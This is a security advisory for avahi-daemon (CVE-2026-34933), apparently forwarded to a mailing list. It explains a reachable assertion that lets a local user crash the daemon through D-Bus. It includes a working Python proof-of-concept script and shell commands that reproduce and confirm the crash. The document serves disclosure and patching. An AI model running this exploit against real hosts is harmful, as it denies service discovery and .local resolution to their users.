https://github.com/avahi/avahi/security/advisories/GHSA-w65r-6gxh-vhvc advises:
Reachable assertion in transport_flags_from_domain (CVE-2026-34933)

Moderate
evverx published GHSA-w65r-6gxh-vhvc Apr 1, 2026

Affected versions: <=v0.9-rc3
Patched versions:    v0.9-rc4

Description
-----------
In all versions up to and including 0.8 and 0.9-rc3, any unprivileged local
user can crash avahi-daemon by sending a single D-Bus method call with
conflicting publish flags.

The AVAHI_PUBLISH_USE_MULTICAST (0x100) and AVAHI_PUBLISH_USE_WIDE_AREA (0x80)
flags are individually accepted by the AVAHI_FLAGS_VALID() validation macro at
entry.c:201-209 (for AddRecord) and entry.c:593-597 (for AddService), since
both are listed in the allowed flags bitmask. However, these flags are mutually
exclusive, and the function transport_flags_from_domain() at entry.c:57 enforces
this exclusivity with an assert():

static void transport_flags_from_domain(AvahiServer *s, AvahiPublishFlags 
*flags, const char *domain) {
    assert(flags);
    assert(domain);

    assert(!((*flags & AVAHI_PUBLISH_USE_MULTICAST) && (*flags & 
AVAHI_PUBLISH_USE_WIDE_AREA)));
    // ...
}

When both flags are set simultaneously (flags = 0x180), the assertion fails,
causing the daemon to abort with SIGABRT. The D-Bus system bus policy
(avahi-dbus.conf) allows any local user to call EntryGroupNew and AddService
without restrictions.

Root cause
----------
The flags validation (AVAHI_FLAGS_VALID) and the mutual exclusivity check
(assert in transport_flags_from_domain) are performed at different layers
with no coordination:

 1. AVAHI_FLAGS_VALID(flags, mask) checks !(flags & ~mask) -- it verifies that
    no unknown bits are set, but does not check for mutually exclusive
    combinations.
 2. transport_flags_from_domain() enforces mutual exclusivity via assert(),
    which is a fatal operation in a production daemon.

Affected D-Bus methods
----------------------
The following D-Bus methods on org.freedesktop.Avahi.EntryGroup accept a flags
parameter that reaches the vulnerable function:

Method            D-Bus handler            Core function
AddService        dbus-entry-group.c:166   server_add_service_strlst_nocopy()
                                           -> transport_flags_from_domain()
AddServiceSubtype dbus-entry-group.c:213   server_add_service_strlst_nocopy()
                                           -> transport_flags_from_domain()
AddAddress        dbus-entry-group.c:280   avahi_server_add_address()
                                           -> transport_flags_from_domain()
AddRecord         dbus-entry-group.c:311   avahi_server_add()
                                           -> server_add_internal()
                                           -> transport_flags_from_domain()
UpdateServiceTxt  dbus-entry-group.c:370   
server_update_service_txt_strlst_nocopy()
                                           -> transport_flags_from_domain()

Proof of Concept
----------------

#!/usr/bin/env python3
"""Any local unprivileged user can crash avahi-daemon with this script."""
import dbus

AVAHI_PUBLISH_USE_WIDE_AREA = 128   # 0x80
AVAHI_PUBLISH_USE_MULTICAST = 256   # 0x100
CONFLICTING_FLAGS = AVAHI_PUBLISH_USE_WIDE_AREA | AVAHI_PUBLISH_USE_MULTICAST

bus = dbus.SystemBus()
server = dbus.Interface(
    bus.get_object('org.freedesktop.Avahi', '/'),
    'org.freedesktop.Avahi.Server'
)

# Create an entry group
eg_path = server.EntryGroupNew()
eg = dbus.Interface(
    bus.get_object('org.freedesktop.Avahi', eg_path),
    'org.freedesktop.Avahi.EntryGroup'
)

# Trigger the crash: AddService with both MULTICAST and WIDE_AREA flags
eg.AddService(
    dbus.Int32(-1),                    # interface (AVAHI_IF_UNSPEC)
    dbus.Int32(-1),                    # protocol (AVAHI_PROTO_UNSPEC)
    dbus.UInt32(CONFLICTING_FLAGS),    # flags = 0x180 (CRASH)
    dbus.String("PoC-Service"),        # name
    dbus.String("_http._tcp"),         # type
    dbus.String(""),                   # domain
    dbus.String(""),                   # host
    dbus.UInt16(8080),                 # port
    dbus.Array([], signature='ay')     # TXT records
)

Reproduction
------------

# On any Linux system with avahi-daemon running:
apt install python3-dbus    # if not already installed
python3 poc.py

# Verify crash:
systemctl status avahi-daemon
# Expected: "avahi-daemon.service: Main process exited, code=exited, 
status=134/n/a"

journalctl -u avahi-daemon -n 5
# Expected: "entry.c:57: transport_flags_from_domain: Assertion
#   `!((*flags & AVAHI_PUBLISH_USE_MULTICAST) && (*flags & 
AVAHI_PUBLISH_USE_WIDE_AREA))' failed."

Impact
------

 * Any unprivileged local user can immediately crash the avahi-daemon process.
 * All mDNS/DNS-SD services on the host become unavailable.
 * Applications relying on nss-mdns for .local hostname resolution fail.
 * Network service discovery (printers, Chromecast, AirPlay, etc.) stops.
 * While systemd auto-restarts the daemon, repeated crashes cause a persistent
   DoS.

Credit
------
Discovered by Guillaume MEUNIER - Head of VOC France - Orange Cyberdefense on
2026-03-10.

Fix
---
It was addressed in <https://github.com/avahi/avahi/pull/891>.

Severity: Moderate - 5.5 / 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CVE ID: CVE-2026-34933
Weakness: CWE-617


--
        -Alan Coopersmith-                 [email protected]
         Oracle Solaris Engineering - https://blogs.oracle.com/solaris

Reply via email to